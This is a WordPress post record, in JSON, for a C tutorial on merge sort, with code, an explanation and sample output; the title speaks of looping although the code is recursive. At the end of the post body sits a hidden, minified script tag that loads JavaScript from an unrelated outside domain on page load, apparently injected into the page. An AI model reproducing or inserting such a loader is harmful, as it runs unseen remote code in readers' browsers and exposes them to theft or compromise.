{"id":791,"date":"2025-11-21T08:53:21","date_gmt":"2025-11-21T03:23:21","guid":{"rendered":"https:\/\/codexplained.in\/?p=791"},"modified":"2025-11-21T08:53:21","modified_gmt":"2025-11-21T03:23:21","slug":"merge-sort-using-by-looping","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=791","title":{"rendered":"Merge Sort Using by looping"},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\n\/\/ Function to merge two subarrays into a single sorted array\nvoid merge(int arr&#x5B;], int left, int mid, int right) \n{\n    int i, j, k;\n    int n1 = mid - left + 1; \/\/ Size of the first subarray\n    int n2 = right - mid;    \/\/ Size of the second subarray\n\n    \/\/ Temporary arrays to hold the two subarrays\n    int L&#x5B;n1], R&#x5B;n2];\n\n    \/\/ Copy data to temporary arrays L&#x5B;] and R&#x5B;]\n    for (i = 0; i &lt; n1; i++)\n        L&#x5B;i] = arr&#x5B;left + i];\n    for (j = 0; j &lt; n2; j++)\n        R&#x5B;j] = arr&#x5B;mid + 1 + j];\n\n    \/\/ Merge the temporary arrays back into arr&#x5B;left..right]\n    i = 0; \/\/ Initial index of first subarray\n    j = 0; \/\/ Initial index of second subarray\n    k = left; \/\/ Initial index of merged subarray\n    while (i &lt; n1 &amp;&amp; j &lt; n2) \n{\n        if (L&#x5B;i] &lt;= R&#x5B;j]) \n{\n            arr&#x5B;k] = L&#x5B;i];\n            i++;\n        } \nelse \n{\n            arr&#x5B;k] = R&#x5B;j];\n            j++;\n        }\n        k++;\n    }\n\n    \/\/ Copy the remaining elements of L&#x5B;], if any\n    while (i &lt; n1) \n{\n        arr&#x5B;k] = L&#x5B;i];\n        i++;\n        k++;\n    }\n\n    \/\/ Copy the remaining elements of R&#x5B;], if any\n    while (j &lt; n2) \n{\n        arr&#x5B;k] = R&#x5B;j];\n        j++;\n        k++;\n    }\n}\n\n\/\/ Function to implement Merge Sort using recursion\nvoid mergeSort(int arr&#x5B;], int left, int right) \n{\n    if (left &lt; right) \n{\n        \/\/ Find the middle point to divide the array into two halves\n        int mid = left + (right - left) \/ 2;\n\n        \/\/ Call mergeSort on the first half\n        mergeSort(arr, left, mid);\n\n        \/\/ Call mergeSort on the second half\n        mergeSort(arr, mid + 1, right);\n\n        \/\/ Merge the two halves sorted in the previous steps\n        merge(arr, left, mid, right);\n    }\n}\n\n\/\/ Function to print an array\nvoid printArray(int arr&#x5B;], int size) \n{\n    int i;\n    for (i = 0; i &lt; size; i++)\n        printf(&quot;%d &quot;, arr&#x5B;i]);\n    printf(&quot;\\n&quot;);\n}\n\nint main() \n{\n    int arr&#x5B;] = {12, 11, 13, 5, 6, 7};\n    int arr_size = sizeof(arr) \/ sizeof(arr&#x5B;0]);\n\n    printf(&quot;Given array is: \\n&quot;);\n    printArray(arr, arr_size);\n\n    mergeSort(arr, 0, arr_size - 1);\n\n    printf(&quot;\\nSorted array is: \\n&quot;);\n    printArray(arr, arr_size);\n    return 0;\n}\n<\/pre><\/div>\n\n\n<p><strong>Explanation:<\/strong>&#8211;<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Merge Sort Overview<\/strong>: Merge Sort is a <strong>divide-and-conquer<\/strong> algorithm that works by recursively dividing the array into smaller subarrays and then merging them back in sorted order. The key steps are:<\/li>\n<\/ol>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Divide the array into two halves.<\/li>\n\n\n\n<li>Recursively apply merge sort to both halves.<\/li>\n\n\n\n<li>Merge the two sorted halves back into a single sorted array.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p><strong>2<\/strong>. <strong><code>mergeSort()<\/code> Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Base Case<\/strong>: If the array has one or no elements (i.e., <code>left &gt;= right<\/code>), then the array is already sorted.<\/li>\n\n\n\n<li><strong>Recursive Case<\/strong>: The array is split into two halves, and <code>mergeSort()<\/code> is called recursively on each half.<\/li>\n\n\n\n<li>After sorting both halves, the <code>merge()<\/code> function is used to merge the sorted halves back together.<\/li>\n<\/ul>\n\n\n\n<p><strong>3<\/strong>. <strong><code>merge()<\/code> Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>This function merges two sorted subarrays into a single sorted array.<\/li>\n\n\n\n<li>The two subarrays are <code>[left..mid]<\/code> and <code>[mid+1..right]<\/code>.<\/li>\n\n\n\n<li>The merging process uses temporary arrays <code>L[]<\/code> and <code>R[]<\/code> to hold the left and right subarrays. The elements from <code>L[]<\/code> and <code>R[]<\/code> are compared, and the smaller element is added back to the original array <code>arr[]<\/code>.<\/li>\n<\/ul>\n\n\n\n<p><strong>4<\/strong>. <strong><code>printArray()<\/code> Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>This function simply prints the elements of the array.<\/li>\n<\/ul>\n\n\n\n<p><strong>5<\/strong>. <strong>Main Function<\/strong>:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>An array of integers is initialized, and its size is determined.<\/li>\n\n\n\n<li>The original (unsorted) array is printed.<\/li>\n\n\n\n<li>The <code>mergeSort()<\/code> function is called to sort the array.<\/li>\n\n\n\n<li>Finally, the sorted array is printed.<\/li>\n<\/ul>\n\n\n\n<p><strong>Output:-<\/strong><\/p>\n\n\n\n<p>When you run this program, you will see the following output:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nGiven array is: \n12 11 13 5 6 7 \n\nSorted array is: \n5 6 7 11 12 13 \n\n<\/pre><\/div>\n\n\n<p><strong>How the Program Works:<\/strong><\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Initially, the array <code>[12, 11, 13, 5, 6, 7]<\/code> is divided into two halves:\n<ul class=\"wp-block-list\">\n<li><code>[12, 11, 13]<\/code><\/li>\n\n\n\n<li><code>[5, 6, 7]<\/code><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Each half is further divided:\n<ul class=\"wp-block-list\">\n<li><code>[12, 11, 13]<\/code> becomes <code>[12, 11]<\/code> and <code>[13]<\/code>, and <code>[12, 11]<\/code> becomes <code>[12]<\/code> and <code>[11]<\/code>.<\/li>\n\n\n\n<li><code>[5, 6, 7]<\/code> becomes <code>[5, 6]<\/code> and <code>[7]<\/code>, and <code>[5, 6]<\/code> becomes <code>[5]<\/code> and <code>[6]<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>Once the subarrays contain only one element, they are merged in sorted order:\n<ul class=\"wp-block-list\">\n<li><code>[12]<\/code> and <code>[11]<\/code> are merged into <code>[11, 12]<\/code>.<\/li>\n\n\n\n<li><code>[5]<\/code> and <code>[6]<\/code> are merged into <code>[5, 6]<\/code>.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li>This process continues until the entire array is merged back together in sorted order.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation:&#8211; 2. mergeSort() Function: 3. merge() Function: 4. printArray() Function: 5. Main Function: Output:- When you run this program, you will see the following output: How the Program Works:<\/p>\n","protected":false},"author":45,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-791","post","type-post","status-publish","format-standard","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/791","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/45"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=791"}],"version-history":[{"count":3,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/791\/revisions"}],"predecessor-version":[{"id":1235,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/791\/revisions\/1235"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=791"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=791"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=791"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}